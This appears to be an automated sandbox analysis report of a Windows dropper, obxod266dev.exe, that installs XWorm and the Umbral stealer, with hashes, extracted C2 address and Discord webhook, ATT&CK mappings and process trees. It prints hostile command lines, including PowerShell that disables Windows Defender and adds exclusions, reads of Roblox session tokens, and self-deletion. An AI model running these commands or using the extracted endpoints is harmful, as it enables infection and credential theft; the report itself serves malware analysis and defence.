Analysis
-
max time kernel
147s -
max time network
137s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
23-02-2025 10:42
Static task
static1
Behavioral task
behavioral1
Sample
obxod266dev.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
obxod266dev.exe
Resource
win7-20240729-en
Behavioral task
behavioral3
Sample
obxod266dev.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral4
Sample
obxod266dev.exe
Resource
win10ltsc2021-20250217-en
General
-
Target
obxod266dev.exe
-
Size
329KB
-
MD5
31fc82eeaed45f2389b57ffb9d8f6ea2
-
SHA1
fd46d4e307b09a372a3bfc0d88b87eeccaf77912
-
SHA256
dc7f8c7c39bb043da2c19a03504c499e0af367fefee810a8190c1119992e2248
-
SHA512
418bca3b27a8354e559de8e1333ebc8ff42a5d4f07b42a0ec95775c9a52feb1d61a00006ceefef3be8e30dc07c0fb3123440413a2b16d8d9cc6e468cb9d5c962
-
SSDEEP
6144:3aDaK7MooumCpZSApAWl2IenY7YDlw+JmS1r8+CMCX:3LK7sk2IKYkp/mYPCX
Malware Config
Extracted
xworm
25.ip.gl.ply.gg:59054
-
Install_directory
%AppData%
-
install_file
svchost.exe
Extracted
umbral
https://discord.com/api/webhooks/1342862584386420817/8iDLBPWkMbkgW0Lx9Tlnezr6EGJYKsdRBZ8GJHI66h0NchvKorRU-U6oiQsKR-OZeqD9
Signatures
-
Detect Umbral payload 2 IoCs
resource yara_rule behavioral1/files/0x000700000001933b-11.dat family_umbral behavioral1/memory/2248-13-0x0000000000CB0000-0x0000000000CF0000-memory.dmp family_umbral -
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x00080000000120fd-6.dat family_xworm behavioral1/memory/3008-10-0x00000000010C0000-0x00000000010DA000-memory.dmp family_xworm -
Umbral family
-
Xworm family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2516 powershell.exe 1852 powershell.exe 2436 powershell.exe 2648 powershell.exe 2140 powershell.exe 2212 powershell.exe 2568 powershell.exe 1752 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk obxod 266dev.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk obxod 266dev.exe -
Executes dropped EXE 2 IoCs
pid Process 3008 obxod 266dev.exe 2248 Umbral.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" obxod 266dev.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 12 discord.com 13 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com 10 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1652 cmd.exe 2448 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 980 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2448 PING.EXE -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2436 powershell.exe 2648 powershell.exe 2140 powershell.exe 2516 powershell.exe 3008 obxod 266dev.exe 2248 Umbral.exe 1852 powershell.exe 2212 powershell.exe 2568 powershell.exe 2068 powershell.exe 1752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3008 obxod 266dev.exe Token: SeDebugPrivilege 2248 Umbral.exe Token: SeDebugPrivilege 2436 powershell.exe Token: SeIncreaseQuotaPrivilege 2132 wmic.exe Token: SeSecurityPrivilege 2132 wmic.exe Token: SeTakeOwnershipPrivilege 2132 wmic.exe Token: SeLoadDriverPrivilege 2132 wmic.exe Token: SeSystemProfilePrivilege 2132 wmic.exe Token: SeSystemtimePrivilege 2132 wmic.exe Token: SeProfSingleProcessPrivilege 2132 wmic.exe Token: SeIncBasePriorityPrivilege 2132 wmic.exe Token: SeCreatePagefilePrivilege 2132 wmic.exe Token: SeBackupPrivilege 2132 wmic.exe Token: SeRestorePrivilege 2132 wmic.exe Token: SeShutdownPrivilege 2132 wmic.exe Token: SeDebugPrivilege 2132 wmic.exe Token: SeSystemEnvironmentPrivilege 2132 wmic.exe Token: SeRemoteShutdownPrivilege 2132 wmic.exe Token: SeUndockPrivilege 2132 wmic.exe Token: SeManageVolumePrivilege 2132 wmic.exe Token: 33 2132 wmic.exe Token: 34 2132 wmic.exe Token: 35 2132 wmic.exe Token: SeIncreaseQuotaPrivilege 2132 wmic.exe Token: SeSecurityPrivilege 2132 wmic.exe Token: SeTakeOwnershipPrivilege 2132 wmic.exe Token: SeLoadDriverPrivilege 2132 wmic.exe Token: SeSystemProfilePrivilege 2132 wmic.exe Token: SeSystemtimePrivilege 2132 wmic.exe Token: SeProfSingleProcessPrivilege 2132 wmic.exe Token: SeIncBasePriorityPrivilege 2132 wmic.exe Token: SeCreatePagefilePrivilege 2132 wmic.exe Token: SeBackupPrivilege 2132 wmic.exe Token: SeRestorePrivilege 2132 wmic.exe Token: SeShutdownPrivilege 2132 wmic.exe Token: SeDebugPrivilege 2132 wmic.exe Token: SeSystemEnvironmentPrivilege 2132 wmic.exe Token: SeRemoteShutdownPrivilege 2132 wmic.exe Token: SeUndockPrivilege 2132 wmic.exe Token: SeManageVolumePrivilege 2132 wmic.exe Token: 33 2132 wmic.exe Token: 34 2132 wmic.exe Token: 35 2132 wmic.exe Token: SeDebugPrivilege 2648 powershell.exe Token: SeDebugPrivilege 2140 powershell.exe Token: SeDebugPrivilege 2516 powershell.exe Token: SeDebugPrivilege 3008 obxod 266dev.exe Token: SeDebugPrivilege 1852 powershell.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeDebugPrivilege 2568 powershell.exe Token: SeDebugPrivilege 2068 powershell.exe Token: SeIncreaseQuotaPrivilege 1964 wmic.exe Token: SeSecurityPrivilege 1964 wmic.exe Token: SeTakeOwnershipPrivilege 1964 wmic.exe Token: SeLoadDriverPrivilege 1964 wmic.exe Token: SeSystemProfilePrivilege 1964 wmic.exe Token: SeSystemtimePrivilege 1964 wmic.exe Token: SeProfSingleProcessPrivilege 1964 wmic.exe Token: SeIncBasePriorityPrivilege 1964 wmic.exe Token: SeCreatePagefilePrivilege 1964 wmic.exe Token: SeBackupPrivilege 1964 wmic.exe Token: SeRestorePrivilege 1964 wmic.exe Token: SeShutdownPrivilege 1964 wmic.exe Token: SeDebugPrivilege 1964 wmic.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3008 obxod 266dev.exe -
Suspicious use of WriteProcessMemory 57 IoCs
description pid Process procid_target PID 1712 wrote to memory of 3008 1712 obxod266dev.exe 29 PID 1712 wrote to memory of 3008 1712 obxod266dev.exe 29 PID 1712 wrote to memory of 3008 1712 obxod266dev.exe 29 PID 1712 wrote to memory of 2248 1712 obxod266dev.exe 30 PID 1712 wrote to memory of 2248 1712 obxod266dev.exe 30 PID 1712 wrote to memory of 2248 1712 obxod266dev.exe 30 PID 3008 wrote to memory of 2436 3008 obxod 266dev.exe 31 PID 3008 wrote to memory of 2436 3008 obxod 266dev.exe 31 PID 3008 wrote to memory of 2436 3008 obxod 266dev.exe 31 PID 3008 wrote to memory of 2648 3008 obxod 266dev.exe 33 PID 3008 wrote to memory of 2648 3008 obxod 266dev.exe 33 PID 3008 wrote to memory of 2648 3008 obxod 266dev.exe 33 PID 2248 wrote to memory of 2132 2248 Umbral.exe 35 PID 2248 wrote to memory of 2132 2248 Umbral.exe 35 PID 2248 wrote to memory of 2132 2248 Umbral.exe 35 PID 3008 wrote to memory of 2140 3008 obxod 266dev.exe 38 PID 3008 wrote to memory of 2140 3008 obxod 266dev.exe 38 PID 3008 wrote to memory of 2140 3008 obxod 266dev.exe 38 PID 3008 wrote to memory of 2516 3008 obxod 266dev.exe 40 PID 3008 wrote to memory of 2516 3008 obxod 266dev.exe 40 PID 3008 wrote to memory of 2516 3008 obxod 266dev.exe 40 PID 2248 wrote to memory of 1588 2248 Umbral.exe 42 PID 2248 wrote to memory of 1588 2248 Umbral.exe 42 PID 2248 wrote to memory of 1588 2248 Umbral.exe 42 PID 2248 wrote to memory of 1852 2248 Umbral.exe 44 PID 2248 wrote to memory of 1852 2248 Umbral.exe 44 PID 2248 wrote to memory of 1852 2248 Umbral.exe 44 PID 2248 wrote to memory of 2212 2248 Umbral.exe 46 PID 2248 wrote to memory of 2212 2248 Umbral.exe 46 PID 2248 wrote to memory of 2212 2248 Umbral.exe 46 PID 2248 wrote to memory of 2568 2248 Umbral.exe 48 PID 2248 wrote to memory of 2568 2248 Umbral.exe 48 PID 2248 wrote to memory of 2568 2248 Umbral.exe 48 PID 2248 wrote to memory of 2068 2248 Umbral.exe 50 PID 2248 wrote to memory of 2068 2248 Umbral.exe 50 PID 2248 wrote to memory of 2068 2248 Umbral.exe 50 PID 2248 wrote to memory of 1964 2248 Umbral.exe 52 PID 2248 wrote to memory of 1964 2248 Umbral.exe 52 PID 2248 wrote to memory of 1964 2248 Umbral.exe 52 PID 2248 wrote to memory of 1488 2248 Umbral.exe 54 PID 2248 wrote to memory of 1488 2248 Umbral.exe 54 PID 2248 wrote to memory of 1488 2248 Umbral.exe 54 PID 2248 wrote to memory of 2196 2248 Umbral.exe 56 PID 2248 wrote to memory of 2196 2248 Umbral.exe 56 PID 2248 wrote to memory of 2196 2248 Umbral.exe 56 PID 2248 wrote to memory of 1752 2248 Umbral.exe 58 PID 2248 wrote to memory of 1752 2248 Umbral.exe 58 PID 2248 wrote to memory of 1752 2248 Umbral.exe 58 PID 2248 wrote to memory of 980 2248 Umbral.exe 60 PID 2248 wrote to memory of 980 2248 Umbral.exe 60 PID 2248 wrote to memory of 980 2248 Umbral.exe 60 PID 2248 wrote to memory of 1652 2248 Umbral.exe 62 PID 2248 wrote to memory of 1652 2248 Umbral.exe 62 PID 2248 wrote to memory of 1652 2248 Umbral.exe 62 PID 1652 wrote to memory of 2448 1652 cmd.exe 64 PID 1652 wrote to memory of 2448 1652 cmd.exe 64 PID 1652 wrote to memory of 2448 1652 cmd.exe 64 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1588 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\obxod 266dev.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'obxod 266dev.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516
-
-
-
C:\Users\Admin\AppData\Roaming\Umbral.exe"C:\Users\Admin\AppData\Roaming\Umbral.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132
-
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"3⤵
- Views/modifies file attributes
PID:1588
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1852
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2068
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:1488
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:2196
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1752
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:980
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2448
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD51d09c5b79861e3d9bb0e8c1d6e1fd88d
SHA194957d6e95a521168a4b9cace5be899489811724
SHA2567fbbff25f6764e9ce1540825258929b80c889e803720e6b70aa6d123773febd7
SHA51227f4b00ea2a02f19096b8a5ef66c8377509c47f96479298c063f83710d273de043ef068709f4d68dbd2022853b0aa82e6d8b8c667ba19f870088e8177ac26fd0
-
Filesize
232KB
MD5e486d8aafa368a43a56987dd4d80aa75
SHA18851fe89928a47a58b50348d9a4458f24e2725f9
SHA256596ac7d2aa525ceb7b82aec1e6376d34f36649f028de442fb0a0021e380db136
SHA512abe413e1277c0ac103778822dcd3f6b03f315fad83731af10284a68fca8ecfa2d2c6b9d9c3e0ec55803a2b31d03ae9c863c430eba23954ccc5f82b2a6d21e573
-
Filesize
80KB
MD53598f860aacfe53b00c305715a6c7b2f
SHA170640b2e8a71017cdf5fb8e91fe0b065f89a064b
SHA256b4b8385381c3bb23d821f179a73ff19083d15f7cc6e1c9cc2235da3c382db241
SHA5120b2bfa9e701ba126acb6bf9b9b5df26e8558a59708659ec2981173267d277f44e6b6575f1ceb945a86705796ea8f50c5cd1617ee45fdaabdc68af9b2022e654c